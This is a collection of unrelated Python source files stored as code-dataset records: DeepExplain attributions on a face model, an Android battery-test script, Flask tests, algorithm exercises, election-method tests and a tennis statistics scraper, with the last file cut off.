DeepExplain - Tensorflow example\n### MNIST with a 2-layers MLP\n\n# %%\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tempfile, sys, os\n\nsys.path.insert(0, os.path.abspath('..'))\n\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport tensorflow as tf\nfrom tqdm import tqdm\nimport glob\nimport cv2\nimport numpy as np\nimport csv\n\n\n# %%\n\n\nmodel_path = \"saved_models/1579825617\"\nbase_dir = '/Users/sal/Documents/phenomenal-face'\n\nmodel_path = os.path.join(base_dir, model_path)\n\n# %%\n\n# extract input tensor by name\n\n\n# %%\n\n# get the images\ninput_files = glob.glob(os.path.join(base_dir, 'face-evaluation/*.jpg'))\nimage_tensor_stack = {}\ninput_image_size = (299, 299)\n\nsess_img = tf.Session()\nfor idx, image_filename in enumerate(tqdm(input_files)):\n i_n = image_filename.split('/')[-1]\n decoded_image = (cv2.imread(image_filename) / 255) * 2 - 1\n result_img = cv2.resize(decoded_image, input_image_size, interpolation=cv2.INTER_AREA)\n result_img = np.expand_dims(result_img, 0)\n\n # result_image = tf.squeeze(resized_image, 0)\n image_tensor_stack[i_n] = result_img\n\n\n# get the labels\nlabel_dict = {}\nlabel_types = ['heights', 'weights', 'genders', 'ages']\n\n\n# filter the strings into float format\ndef filter_fn(d):\n for i in range(len(d)):\n if d[i] != 'None':\n if d[i] in ['male', 'female']:\n d[i] = np.array([[0,1]] if (d[i] == 'male') else [[1,0]], dtype=np.int32)\n\n else:\n if 'jpg' not in d[i]:\n d[i] = np.array([float(d[i])], dtype=np.float32)\n else:\n d[i] = float(0)\n\n return d\n\n\nwith open(os.path.join(base_dir, 'face-evaluation/labels.csv'), newline='') as f:\n reader = csv.reader(f)\n data = list(reader)\n data = list(map(filter_fn, data))\n\nfor d in data:\n label_dict[d[0]] = {label_types[idx]: val for idx, val in enumerate(d[1:])}\n\n# %%\n\nimage_tensor_stack.keys()\n\n# %%\n\n\n# %%\n\nfrom deepexplain.tensorflow import DeepExplain\n\ntf.reset_default_graph()\nresult_dict_output = {}\nsess = tf.Session()\nlimit = 2\n\nwith DeepExplain(session=sess) as de:\n tf.saved_model.loader.load(de.session, [tf.saved_model.tag_constants.SERVING], model_path)\n # sess.run(init_op)\n X = de.graph.get_tensor_by_name('serving-input-placeholder:0')\n\n Y = [de.graph.get_tensor_by_name(f'custom_layers/{key}:0') for key in label_types if key == 'ages']\n Y = tf.math.add_n(Y)\n for i, image_filename in enumerate(tqdm(input_files[:limit])):\n i_n = image_filename.split('/')[-1]\n labels = label_dict[i_n]\n xi = image_tensor_stack[i_n]\n print(xi.shape)\n attributions = {'DeepLIFT (Rescale)': de.explain('intgrad', Y, X, xi )}\n '''\n attributions = {\n # Gradient-based\n 'Saliency maps': de.explain('saliency', Y, X, xi),\n 'Gradient * Input': de.explain('grad*input', Y, X, xi),\n 'Integrated Gradients': de.explain('intgrad', Y, X, xi),\n 'Epsilon-LRP': de.explain('elrp', Y, X, xi),\n 'DeepLIFT (Rescale)': de.explain('deeplift', Y, X, xi),\n #Perturbation-based\n '_Occlusion [1x1]': de.explain('occlusion', Y, X, xi),\n '_Occlusion [3x3]': de.explain('occlusion', Y, X, xi, window_shape=(3,))\n }\n '''\n result_dict_output[image_filename] = {'grad': attributions, 'input': [xi]*2, 'output': None, 'label': labels}\n\n# %%\n\n\nA = 1","sub_path":"examples/phenom_tensorflow.py","file_name":"phenom_tensorflow.py","file_ext":"py","file_size_in_byte":3695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"254953085","text":"# encoding=utf-8\nfrom bs4 import BeautifulSoup\n\n\nclass HomeParser(object):\n def parser(self, index, html):\n if html is None:\n return None\n soup = BeautifulSoup(html, 'lxml')\n contents = soup.find_all(class_='tal')\n urls = []\n titles = []\n for content in contents:\n soup2 = BeautifulSoup(str(content.contents), 'lxml')\n data = soup2.find('a')\n urls.append(index + data['href'])\n titles.append(data.string)\n return urls, titles\n","sub_path":"picdownload/HomeParser_1.py","file_name":"HomeParser_1.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"55173315","text":"# coding=utf-8\nimport time\nimport os\nimport re\nfrom base.config import Config\n\nclass App:\n def __init__(self, pckName, firstActivity):\n self.pckName = pckName\n self.firstActivity = firstActivity\n print('测试环境准备')\n\n def start_app(self):\n print('启动待测应用')\n os.popen(\"adb shell am start \" + Config().get_config()['pck_name']\n + '/' + Config().get_config()['activity'])\n\n def get_uid(self):\n content = os.popen(\"adb shell ps| findstr \" + Config().get_config()['pck_name']).read()\n UID = content.split()[0].replace('_', '')\n return UID\n\n def reset_battery(self):\n print('清除手机电量信息')\n os.popen(\"adb shell dumpsys batterystats --reset\")\n\n def set_usb(self):\n print('开始电量测试,请进行相关操作')\n os.popen(\"adb shell dumpsys battery unplug\")\n os.popen(\"adb shell dumpsys battery set status 1\")\n\n def rec_usb(self):\n print('测试结束')\n os.popen(\"adb shell dumpsys batterystats set status 2\")\n os.popen(\"adb shell dumpsys battery reset\")\n\n def get_batteryinfo(self):\n content = os.popen(\"adb shell dumpsys batterystats|findstr \" + self.get_uid()).read()\n a = re.search(r'(Uid.+)\\(\\s(.+)\\).+', content)\n try:\n batteryinfo = a.group(2)\n except AttributeError:\n batteryinfo = \"无数据\"\n print(\"无数据\")\n return batteryinfo\n print(\"获取测试数据\")\n\n def stop_app(self):\n print('退出被测应用')\n os.popen(\"adb shell am force-stop \" + self.pckName)\n\n\nclass Go(App):\n def __init__(self, app):\n self.app = app\n self.file = open(\"d:/BatteryResult.xlsx\", \"a\")\n\n def run(self):\n time.sleep(2)\n self.app.start_app()\n time.sleep(3)\n self.app.get_uid()\n time.sleep(2)\n self.app.reset_battery()\n time.sleep(2)\n self.app.set_usb()\n time.sleep(60)\n self.app.rec_usb()\n time.sleep(2)\n self.app.get_batteryinfo()\n time.sleep(2)\n self.file.write(self.app.get_batteryinfo() + '\\n')\n time.sleep(2)\n self.app.stop_app()\n time.sleep(1)\n self.file.close()\n\n\nif __name__ == \"__main__\":\n Go(app).run()","sub_path":"test_case/battery_info.py","file_name":"battery_info.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"418761794","text":"# standard imports\nimport json\nimport random\nimport string\n\n# local imports\nfrom server import app\nfrom tests.config import client\n\n\ndef get_random_string(nb_char=10):\n return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(nb_char))\n\n\nclass TestWikiPathRoute(object):\n VALID_START_PAGE_EN = \"/wiki/Sophia_(wisdom)\"\n LOOP_START_PAGE_EN = \"/wiki/Science\"\n VALID_START_URL_FR = \"https://fr.wikipedia.org/wiki/Poney\"\n VALID_END_URL_FR = \"https://fr.wikipedia.org/wiki/Philosophie\"\n DEAD_END_PAGE = \"wiki/Hester_Street_Collaborative\"\n\n # MAIN function\n def target_reached(self, rst, target_relative_url=None):\n assert rst, \"Impossible to reach route\"\n assert rst.get(\"found\"), \"target page not reached\" + str(rst)\n assert rst.get(\"path\"), \"no path in output\" + str(rst)\n\n # check that last element in path is default philosophy\n with app.app_context():\n if not target_relative_url:\n if app.config[\"DEFAULT_TARGET_PAGE\"][0] == \"/\":\n target_relative_url = app.config[\"DEFAULT_TARGET_PAGE\"]\n else:\n target_relative_url = \"/\" + app.config[\"DEFAULT_TARGET_PAGE\"]\n\n assert rst[\"path\"][-1][\"relative_url\"] == target_relative_url, \"target page not found in path\"\n\n # VALID RESULTS\n def test_valid_basic(self, client):\n \"\"\"\n Test that page Sophia_(wisdom) successfully leads to philosophy page\n :param client: test app\n :return:\n \"\"\"\n response = client.get(\n '/wikipath',\n query_string={\n \"origin\": TestWikiPathRoute.VALID_START_PAGE_EN\n },\n follow_redirects=True\n )\n rst = json.loads(response.data.decode('utf8'))\n assert rst, \"Impossible to reach website\"\n assert rst.get(\"found\", None), \"Found missing in Wikitest JSON output\"+str(rst)\n assert rst.get(\"path\", None), \"Path missing in Wikitest JSON output\"+str(rst)\n\n self.target_reached(rst)\n\n def test_fr_links(self, client):\n \"\"\"\n Test that two links in FR lead to valid result\n :param client:\n :return:\n \"\"\"\n response = client.get(\n '/wikipath',\n query_string={\n \"origin\": TestWikiPathRoute.VALID_START_URL_FR,\n \"target\": TestWikiPathRoute.VALID_END_URL_FR\n },\n follow_redirects=True\n )\n rst = json.loads(response.data.decode('utf8'))\n self.target_reached(rst, target_relative_url=\"/wiki/Philosophie\")\n\n def test_loop_allowing_next_link(self, client):\n \"\"\"\n test that Science page (that normally return a loop error) use the next link when loop is encountered\n = testing of parameter follow_next_link_on_loop\n :param client:\n :return:\n \"\"\"\n response = client.get(\n '/wikipath',\n query_string={\n \"origin\": TestWikiPathRoute.LOOP_START_PAGE_EN,\n \"follow_next_link_on_loop\": 1\n },\n follow_redirects=True\n )\n rst = json.loads(response.data.decode('utf8'))\n\n self.target_reached(rst)\n\n # INVALID RESULTS\n def test_loop(self, client):\n \"\"\"\n test that Science page return a loop error (ParseError)\n :param client:\n :return:\n \"\"\"\n response = client.get(\n '/wikipath',\n query_string={\n \"origin\": TestWikiPathRoute.LOOP_START_PAGE_EN\n },\n follow_redirects=True\n )\n rst = json.loads(response.data.decode('utf8'))\n\n assert rst, \"Impossible to reach route\"\n assert rst.get(\"status_code\") == 400, \"Route wikipath on Science did not return a ParseError\" + str(rst)\n assert rst.get(\"message\").find(\"is already in path\") != -1, \"Invalid error message in loop test\" + str(rst)\n\n def test_dead_end_page(self, client):\n \"\"\"\n Check that dead end page (page with no link, return a ParseError)\n :param client:\n :return:\n \"\"\"\n response = client.get(\n '/wikipath',\n query_string={\n \"origin\": TestWikiPathRoute.DEAD_END_PAGE\n },\n follow_redirects=True\n )\n rst = json.loads(response.data.decode('utf8'))\n assert rst, \"Impossible to reach route\"\n assert rst.get(\"status_code\") == 400, \"Route wikipath on dead end page did not return a ParseError\" + str(rst)\n assert rst.get(\"message\").find(\"No link found on page\") != -1, \"Invalid error message on dead-end page\" \\\n + str(rst)\n\n def test_inconsistent_languages(self, client):\n \"\"\"\n test that an error is raised when origin and source page does not have the same language\n :param client:\n :return:\n \"\"\"\n response = client.get(\n '/wikipath',\n query_string={\n \"target\": TestWikiPathRoute.VALID_END_URL_FR\n },\n follow_redirects=True\n )\n rst = json.loads(response.data.decode('utf8'))\n assert rst, \"Impossible to reach route\"\n assert rst.get(\"status_code\") == 400, \"Route wikipath did not return a 400 error whith inconsistent \" \\\n \"languages in arguments \" + str(rst)\n assert rst.get(\"message\").find(\"origin and target link does not have the same language\") != -1, \"invalid\" \\\n \"error message\" + str(rst)\n\n def test_non_existing_origin_page(self, client):\n \"\"\"\n test that invalid origin or target link return a ParseError\n :param client:\n :return:\n \"\"\"\n invalid_page = get_random_string()\n print(\"Invalid page name : \"+str(invalid_page))\n response = client.get(\n '/wikipath',\n query_string={\n \"origin\": \"/wiki/\"+invalid_page\n },\n follow_redirects=True\n )\n rst = json.loads(response.data.decode('utf8'))\n assert rst, \"Impossible to reach route\"\n assert rst.get(\"status_code\") == 400, \"Route wikipath did not return a 400 error with invalid \"\\\n \"origin page \" + str(rst)\n assert rst.get(\"message\").find(\"Impossible to fetch page content\") != -1, \"invalid error message\" + str(\n rst)\n","sub_path":"backend/tests/test_wikipath.py","file_name":"test_wikipath.py","file_ext":"py","file_size_in_byte":6394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"229880231","text":"def change(amount):\n if amount == 24:\n return [5, 5, 7, 7];\n if amount == 25:\n return [5, 5, 5, 5, 5];\n if amount == 26:\n return [5, 7, 7, 7];\n if amount == 27:\n return [5, 5, 5, 5, 7];\n if amount == 28:\n return [7, 7, 7, 7];\n if amount > 28:\n coins = change (amount - 5);\n coins.append(5); \n return coins\n\nchange(35);\nchange(36);\nchange(37);\nchange(38);\nchange(39);","sub_path":"recursion/coin-5-7-recursive.py","file_name":"coin-5-7-recursive.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"256918508","text":"\n\n#calss header\nclass _CHALICE():\n\tdef __init__(self,): \n\t\tself.name = \"CHALICE\"\n\t\tself.definitions = [u'in Christian ceremonies, a large, decorative gold or silver cup from which wine is drunk', u'in magic, a cup representing the element of water']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_chalice.py","file_name":"_chalice.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"553357185","text":"import ast\nimport click\nimport functools\nimport json\nimport random\n\nfrom flask import (\n Blueprint, flash, g, redirect, render_template, request, session, url_for\n)\n\nfrom joke_generator import db, SeedExample, NewAnswerExample\n\nbp = Blueprint('examples', __name__, url_prefix='/examples')\n\n@bp.route('', methods=['GET'])\ndef index():\n\n return render_template('examples/index.html')\n\n@bp.route('', methods=['POST'])\ndef create():\n new_example = SeedExample(\n context='This happened.',\n question='What happened next?',\n answer_a='Something',\n answer_b='Nothing',\n answer_c='Everything',\n correct_answer='a',\n )\n db.session.add(new_example)\n db.session.commit()\n\n return redirect(url_for('examples.index'))\n\n@bp.cli.command('replace')\n@click.argument('input_file')\ndef replace(input_file):\n db.session.query(SeedExample).delete(synchronize_session=False)\n with open(input_file) as f:\n for line in f:\n # new_example_data = json.loads(line.strip())\n new_example_data = ast.literal_eval(line.strip())\n new_example = SeedExample(\n context = new_example_data[\"context\"],\n question = new_example_data[\"question\"],\n answer_a = new_example_data[\"answerA\"],\n answer_b = new_example_data[\"answerB\"],\n answer_c = new_example_data[\"answerC\"],\n correct_answer_index = new_example_data[\"correct\"]\n )\n db.session.add(new_example)\n db.session.commit()\n\n@bp.cli.command('export')\ndef export():\n for new_example in NewAnswerExample.query.all():\n new_answer = new_example.answer\n\n correct_answer = new_example.seed_example.correct_answer()\n\n other_seed_example_answers = ['A', 'B', 'C']\n other_seed_example_answers.remove(new_example.seed_example.correct_answer_index)\n for another_answer_index in other_seed_example_answers:\n if another_answer_index.lower() == 'a':\n another_answer = new_example.seed_example.answer_a\n elif another_answer_index.lower() == 'b':\n another_answer = new_example.seed_example.answer_b\n elif another_answer_index.lower() == 'c':\n another_answer = new_example.seed_example.answer_c\n\n answer_list = [new_answer, correct_answer, another_answer]\n random.shuffle(answer_list)\n correct_answer_index = answer_list.index(correct_answer)\n correct_answer_letter = ['A', 'B', 'C'][correct_answer_index] # conver 0,1,2 to A,B,C\n\n new_example_data = {'context': new_example.seed_example.context,\n 'question': new_example.seed_example.question,\n 'answerA': answer_list[0],\n 'answerB': answer_list[1],\n 'answerC': answer_list[2],\n 'correct': correct_answer_letter\n }\n print(json.dumps(new_example_data))\n","sub_path":"joke_generator/examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"569496897","text":"# The n-queens puzzle is the problem of placing n queens on an n×n chessboard such that no two queens attack each other.\n\n# Given an integer n, return all distinct solutions to the n-queens puzzle.\n\n# Each solution contains a distinct board configuration of the n-queens' placement, where 'Q' and '.' both indicate a queen and an empty space respectively.\n\n# For example,\n# There exist two distinct solutions to the 4-queens puzzle:\n\n# \t[\n# \t [\".Q..\", // Solution 1\n# \t \"...Q\",\n# \t \"Q...\",\n# \t \"..Q.\"],\n\n# \t [\"..Q.\", // Solution 2\n# \t \"Q...\",\n# \t \"...Q\",\n# \t \".Q..\"]\n# \t]\n\n#very very nice solution\nclass Solution:\n\tdef solveNQueens(self, n):\n\t\t\"\"\"\n :type n: int\n :rtype: List[List[str]]\n \"\"\"\n\t\tdef DFS(queens, xy_dif, xy_sum):\n\t\t\tp = len(queens)\n\t\t\tif p==n:\n\t\t\t\tresult.append(queens)\n\t\t\t\treturn None\n\t\t\tfor q in range(n):\n\t\t\t\tif q not in queens and p-q not in xy_dif and p+q not in xy_sum: \n\t\t\t\t\tDFS(queens+[q], xy_dif+[p-q], xy_sum+[p+q]) \n\t\tresult = []\n\t\tDFS([],[],[])\n\t\treturn [ [\".\"*i + \"Q\" + \".\"*(n-i-1) for i in sol] for sol in result]\n\n\n\n#easy to find and understand\nclass Solution:\n # @return a list of lists of string\n def solveNQueens(self, n):\n self.result = []\n self.board = [[\".\" for x in range(n)] for x in range(n)]\n self.n = n\n self.solve(0)\n return self.result\n \n def solve(self, col):\n if col == self.n:\n solution = []\n for row in self.board:\n string = \"\"\n for char in row:\n string += char\n solution.append(string)\n self.result.append(solution)\n return\n \n for row in range(self.n):\n if self.isSafe(row, col):\n self.board[row][col] = \"Q\"\n self.solve(col+1)\n self.board[row][col] = \".\"\n \n def isSafe(self, row, col):\n for c in range(col):\n if self.board[row][c] == \"Q\":\n return False\n rup = row-1\n rdown = row+1\n c = col-1\n while c >= 0:\n if rup >= 0:\n if self.board[rup][c] == \"Q\":\n return False\n if rdown < self.n:\n if self.board[rdown][c] == \"Q\":\n return False\n rup -= 1\n rdown += 1\n c -= 1\n return True","sub_path":"051 N-Queens.py","file_name":"051 N-Queens.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"531940045","text":"# snapchat\n\"\"\"\nGiven a binary tree, write a function to get the maximum width of the given tree. The width of a tree is the maximum width among all\nlevels. The binary tree has the same structure as a full binary tree, but some nodes are null.\n\nThe width of one level is defined as the length between the end-nodes (the leftmost and right most non-null nodes in the level, where\nthe null nodes between the end-nodes are also counted into the length calculation.\n\nExample 1:\nInput:\n\n 1\n / \\\n 3 2\n / \\ \\\n 5 3 9\n\nOutput: 4\nExplanation: The maximum width existing in the third level with the length 4 (5,3,null,9).\nExample 2:\nInput:\n\n 1\n /\n 3\n / \\\n 5 3\n\nOutput: 2\nExplanation: The maximum width existing in the third level with the length 2 (5,3).\nExample 3:\nInput:\n\n 1\n / \\\n 3 2\n /\n 5\n\nOutput: 2\nExplanation: The maximum width existing in the second level with the length 2 (3,2).\nExample 4:\nInput:\n\n 1\n / \\\n 3 2\n / \\\n 5 9\n / \\\n 6 7\nOutput: 8\nExplanation:The maximum width existing in the fourth level with the length 8 (6,null,null,null,null,null,null,7).\n\nNote: Answer will in the range of 32-bit signed integer.\n\"\"\"\nimport collections\nclass Solution:\n def widthOfBinaryTree(self, root):\n queue = [(root, 0, 0)]\n cur_depth = left = ans = 0\n for node, depth, pos in queue:\n if node:\n queue.append((node.left, depth+1, pos*2))\n queue.append((node.right, depth+1, pos*2 + 1))\n if cur_depth != depth:\n cur_depth = depth\n left = pos\n ans = max(pos - left + 1, ans)\n\n return ans\n\n def widthOfBinaryTree_dfs(self, root):\n def dfs(node, depth=0, pos=0):\n if node:\n left.setdefault(depth, pos)\n self.res = max(self.res, pos - left[depth] + 1)\n dfs(node.left, depth+1, 2*pos)\n dfs(node.right, depth+1, 2*pos+1)\n\n left = {}\n self.res = 0\n dfs(root)\n return self.res\n\n def _widthOfBinaryTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n queue = collections.deque()\n queue.append(root)\n res = 0\n while queue:\n size = len(queue)\n while queue and queue[-1] is None:\n queue.pop()\n size -= 1\n while queue and queue[0] is None:\n queue.popleft()\n size -= 1\n res = max(res, size)\n while size > 0:\n node = queue.popleft()\n if node is not None:\n queue.append(node.left)\n queue.append(node.right)\n else:\n queue.append(None)\n queue.append(None)\n size -= 1\n return res\n","sub_path":"leetcode/maximumWidthOfBinaryTree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"426644289","text":"import unittest\nfrom src.min_heap import MinHeap\n\n\nclass TestMinHeap(unittest.TestCase):\n def setup(self, opts={}):\n heap = MinHeap()\n data = [8, 7, 6, 9, 5, 4, 3, 2]\n\n if (opts.get('load')):\n for num in data:\n heap.insert(num)\n\n return heap, data\n\n def test_min_heap_constructor(self):\n heap, data = self.setup()\n self.assertIsInstance(heap, MinHeap)\n\n def test_min_heap_insert_empty_value(self):\n heap, data = self.setup()\n heap.insert()\n self.assertEqual(heap.dump(), [])\n\n def test_min_heap_insert(self):\n heap, data = self.setup({'load': True})\n self.assertEqual(heap.dump(), [2, 3, 4, 6, 8, 7, 5, 9])\n\n def test_min_heap_remove_from_empty_heap(self):\n heap, data = self.setup({'load': False})\n self.assertIsNone(heap.remove(), True)\n self.assertEqual(heap.dump(), [])\n\n def test_min_heap_remove(self):\n heap, data = self.setup({'load': True})\n heap.remove()\n print(heap.dump())\n minValue = heap.remove()\n print(heap.dump())\n self.assertEqual(minValue, 3)\n self.assertEqual(heap.dump(), [4, 6, 5, 9, 8, 7])\n","sub_path":"tests/test_min_heap.py","file_name":"test_min_heap.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"86632267","text":"\nimport sys\nimport os\nfrom fractions import Fraction\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))\nimport votelib.evaluate.core\nimport votelib.evaluate.proportional\n\n\ndef test_max_seats_highav():\n votes = {\n 'A': 500,\n 'B': 300,\n 'C': 160,\n }\n max_seats = {p: 5 for p in votes.keys()}\n dhondt = votelib.evaluate.proportional.HighestAverages()\n dhondt_res = dhondt.evaluate(votes, 10, max_seats=max_seats)\n assert dhondt_res == {'A': 5, 'B': 3, 'C': 2}\n\n\ndef test_max_seats_highav_fix():\n votes = {\n 'A': 500,\n 'B': 300,\n 'C': 160,\n }\n max_seats = {p: 5 for p in votes.keys()}\n dhondt = votelib.evaluate.proportional.HighestAverages()\n dhondt_wrap = votelib.evaluate.core.FixedSeatCount(dhondt, 10)\n dhondt_res = dhondt_wrap.evaluate(votes, max_seats=max_seats)\n assert dhondt_res == dhondt.evaluate(votes, 10, max_seats=max_seats)\n\n\ndef test_pureprop_withmax():\n votes = {\n 'A': 500,\n 'B': 300,\n 'C': 160,\n }\n max_seats = {p: 5 for p in votes.keys()}\n eval = votelib.evaluate.proportional.PureProportionality()\n result = eval.evaluate(votes, 10, max_seats=max_seats)\n assert result == {'A': 5, 'B': 5 * Fraction(300, 460), 'C': 5 * Fraction(160, 460)}\n\n\ndef test_pureprop_withmin():\n votes = {\n 'A': 500,\n 'B': 300,\n 'C': 160,\n }\n prev_gains = {'C': 2, 'A': 3, 'B': 1}\n eval = votelib.evaluate.proportional.PureProportionality()\n result = eval.evaluate(votes, 10, prev_gains=prev_gains)\n assert result == {'A': 2, 'B': 2, 'C': 0}\n\n\ndef test_max_seats_lrem():\n votes = {\n 'A': 500,\n 'B': 300,\n 'C': 160,\n }\n max_seats = {p: 5 for p in votes.keys()}\n eval = votelib.evaluate.proportional.LargestRemainder('droop')\n result = eval.evaluate(votes, 10, max_seats=max_seats)\n assert result == {'A': 5, 'B': 3, 'C': 2}\n\n\ndef test_from_biprop_reg():\n votes = {\n 'I': 1347,\n 'II': 1014,\n 'III': 1444,\n }\n slag = votelib.evaluate.proportional.HighestAverages('sainte_lague')\n assert slag.evaluate(votes, 20) == {'I': 7, 'II': 5, 'III': 8}\n\ndef test_from_biprop_party():\n votes = {\n 'A': 983,\n 'B': 2040,\n 'C': 782,\n }\n slag = votelib.evaluate.proportional.HighestAverages('sainte_lague')\n assert slag.evaluate(votes, 20) == {'A': 5, 'B': 11, 'C': 4}\n","sub_path":"tests/evaluate/test_proportional.py","file_name":"test_proportional.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"422222862","text":"from collections import OrderedDict\nimport requests\nimport datetime\n\n\n\ndef replace_all(matchmx):\n \"\"\"replacing and data clearning for obtaining the matchmx for list of list\n conversion from unicode to string\"\"\"\n\n # Cleaning the data and getting the string \"matchmx_data\"\n dictionary = {\" \": \"\", \"\\n\": \"\", \";\": \"\"} # list of values to be removed\n for i, j in dictionary.items():\n #print(i,j)\n matchmx = matchmx.replace(i, j)\n matchmx_data = matchmx[matchmx.find(\"varmatchmx\") + 11:] # 11 = length of \"varmatchmx=\"\n return matchmx_data\n\n\n# Saving the dictionary of value into list for conversation into DataFrame\n# data_url_final = []\n\n\ndef get_values(name):\n \"\"\"Get values required obtaining the avg_values of ace, spw & rpw\"\"\"\n #url = \"http://www.tennisabstract.com/cgi-bin/player.cgi?p=\"+name\n #actual data get from below url of js\n url = \"http://www.minorleaguesplits.com/tennisabstract/cgi-bin/jsmatches/\" + name + \".js\"\n # print url\n data_url_final = []\n r = requests.get(url)\n matchmx = r.text\n\n matchmx_data = replace_all(matchmx)\n\n matchmx_data_final = eval(matchmx_data)\n\n # store date wise match data in list of dict\n for i, value in enumerate(matchmx_data_final):\n # print value\n #print(value[0])\n date = datetime.datetime.strptime(value[0], \"%Y%m%d\").date()\n if value[34] == \"\":\n continue\n else:\n x = {\"date\": date,\n \"service_total\": value[32],\n \"service_won\": int(value[34]) + int(value[35]),\n \"service_againt_won\": int(value[25]) + int(value[26]),\n \"service_against\": int(value[23]),\n \"ace\": int(value[21])}\n # print x\n data_url_final.append(x)\n\n #dkeys = sorted(data_url_final)\n #print(dkeys)\n return data_url_final\n\n\n\ndef get_sum_values(data_url_final):\n l=[]\n for d in data_url_final:\n sort_dict= OrderedDict(sorted(d.items()))\n l.append(sort_dict)\n last_10 = l[-10:]# selecting last 10 matches\n #print(last_10)\n\n ace_total = 0\n service_against_total = 0\n service_againt_won_total = 0\n service_total = 0\n service_won_total = 0\n for i in last_10:\n ace_pc = i[\"ace\"]\n ace_total +=ace_pc\n service_against_total += i['service_against']\n service_againt_won_total +=i['service_againt_won']\n service_total += int(i['service_total'])\n #print(type(i['service_total']))\n service_won_total += i['service_won']\n\n\n #print(ace_total)\n #print(service_against_total)\n #print(service_againt_won_total)\n #print(service_total)\n #print(service_won_total)\n\n\n\n return ace_total, service_against_total, service_againt_won_total, service_won_total, service_total\n\n\ndef cal_avg_values(ace_total,service_against_total,service_againt_won_total,service_won_total,service_total):\n ace_pc=float(ace_total)/float(service_againt_won_total)\n spw_pc=float(service_won_total)/float(service_total)\n rpw_pc=float(service_againt_won_total)/float(service_against_total)\n #print ace_pc, spw_pc, rpw_pc\n return ace_pc, spw_pc, rpw_pc\n\n\ndef get_avg_values(name):\n data_url_final = get_values(name)\n ace_total,service_against_total,service_against,service_won_total,service_total = get_sum_values(data_url_final)\n ace, spw, rpw = cal_avg_values(ace_total,service_against_total,service_against,service_won_total,service_total)\n print (name)\n print ({\"ace\": ace, \"spw\" : spw, \"rpw\":rpw})\n return ace, spw, rpw\n\n\nnames = [\"RogerFederer\",\"PeteSampras\",\"NovakDjokovic\", \"BjornBorg\"]\nfor name in names:\n ace_pc, spw_pc, rpw_pc = get_avg_values(name)\n\n","sub_path":"task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"579969983","text":"#!/usr/bin/env python3\nimport sys\nimport random\nimport subprocess\nimport time\nimport shlex\n\ndef main():\n for i in range(3):\n process()\n\ndef process():\n sr_str = \"savilerow-native rcpsp.eprime eprime_params/{}\"\n yices_smt = \" -smt -yices2 -yices2-bin yices-smt2\"\n z3_smt = \" -smt -z3 -z3-bin z3\"\n interactive = \" -interactive-solver\"\n linear_strategy = \" -opt-strategy linear\"\n unsat_strategy = \" -opt-strategy unsat\"\n suffix = \"{} -out-minion {} -out-smt {} -out-chuffed {} -out-info {} -out-solution {} -run-solver -cgroups -O0\"\n\n with open(\"params.txt\", \"r\") as f:\n files = f.readlines()\n\n param = files[int(sys.argv[1])].strip()\n random_nb = random.randint(1, 1000)\n\n mode = int(sys.argv[2])\n file_suffix = \"temp_files/\" + param.split(\".\")[0] + \"_{}_r_\" + str(random_nb) + \".{}\"\n\n def suffix_gen(mode_name, random_str, solver_str):\n minion_file = file_suffix.format(mode_name, \"minion\")\n smt_file = file_suffix.format(mode_name, \"smt2\")\n info_file = file_suffix.format(mode_name, \"info\")\n fzn_file = file_suffix.format(mode_name, \"fzn\")\n solution_file = file_suffix.format(mode_name, \"solution\")\n my_suffix = suffix.format(solver_str, minion_file, smt_file, fzn_file, info_file, solution_file)\n return my_suffix, info_file, solution_file\n\n if mode == 0:\n suffix, info_file, solution_file = suffix_gen(\"normal_bisect_yices\", \"\\\"-rnd-seed={}\\\"\", yices_smt)\n elif mode == 1:\n suffix += linear_strategy\n suffix, info_file, solution_file = suffix_gen(\"normal_linear_yices\", \"\\\"-rnd-seed={}\\\"\", yices_smt)\n elif mode == 2:\n suffix += unsat_strategy\n suffix, info_file, solution_file = suffix_gen(\"normal_unsat_yices\", \"\\\"-rnd-seed={}\\\"\", yices_smt)\n elif mode == 3:\n suffix += interactive\n suffix, info_file, solution_file = suffix_gen(\"inter_bisect_yices\", \"\\\"-seed={}\\\"\", yices_smt)\n elif mode == 4:\n suffix += linear_strategy + interactive\n suffix, info_file, solution_file = suffix_gen(\"inter_linear_yices\", \"\\\"-seed={}\\\"\", yices_smt)\n elif mode == 5:\n suffix += unsat_strategy + interactive\n suffix, info_file, solution_file = suffix_gen(\"inter_unsat_yices\", 